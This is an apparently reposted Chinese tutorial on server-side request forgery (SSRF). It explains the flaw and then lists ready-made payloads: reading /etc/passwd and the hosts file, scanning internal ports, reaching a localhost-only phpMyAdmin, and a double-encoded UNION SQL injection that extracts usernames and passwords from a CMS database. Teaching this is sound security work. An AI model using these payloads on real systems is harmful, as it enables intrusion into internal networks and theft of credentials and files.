Web漏洞之SSRF（服务器端请求伪造）

2023-09-05 05:05

短信预约 -IT技能 免费直播动态提醒

文章目录

一.漏洞场景

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL，Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

二.漏洞描述

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤，就有可能存在“请求伪造”的缺陷。“请求伪造”，顾名思义，攻击者伪造正常的请求，以达到攻击的目的。如果“请求伪造”发生在服务器端，那这个漏洞就叫做“服务器端请求伪造”，英文名字Server Side
Request Forgery，简称SSRF。

三.漏洞原理

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。服务器接受了来自于客户端的URL 地址，并由服务器发送该URL 请求。对用户输入的URL 没有进行恰当的过滤，导致任意URL 输入。没对响应的结果进行检验，直接输出。

四.漏洞危害

●端口扫描；
●内网Web 应用指纹识别；
●攻击内网应用；
●读取本地文件；

五.漏洞评级

高危

六.漏洞验证

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd

七.漏洞利用

1.文件访问

?url=http://www.baidu.com?url=https://file.lsjlt.com/upload/f/202309/05/gjp5d3tm45g.png?url=http://www.baidu.com/robots.txt

2.端口扫描

?url=http://127.0.0.1:80?url=http://127.0.0.1:3306?url=dict://127.0.0.1:3306?url=http://10.10.10.1:22?url=http://10.10.10.1:6379

3.读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts?url=file:///etc/passwd?url=file:/c:/www/ssrf/ssrf_curl.php

4.内网应用指纹识别
有些应用是部署在内网的。

#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1  #在httpd配置文件中设置，只允许本机访问phpMyAdmin,但存在SSRF漏洞，就可以绕过并且可以访问！！！（?url=http://127.0.0.1/phpmyadmin）

内网应用指纹识别。

?url=http://127.0.0.1/phpmyadmin/readme

5.攻击内网WEB应用
内网安全通常都很薄弱

#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1  #在httpd配置文件中设置，只允许本机访问cms,但存在SSRF漏洞，就可以绕过并且可以访问！！！

通过SSRF漏洞可以实现对内网的访问，从而可以攻击内网应用。仅仅通过GET方法可以攻击的内网Web应用有很多。
例如：cms的sql注入（需要对注入的SQL语句进行二次URL编码）

?url=http://127.0.0.1/cms/show.php?id=-33unionselect1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15fromcms_users?url=http://127.0.0.1/cms/show.php?id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30from%25%32%30cms_users#需要对注入的SQL语句进行二次URL编码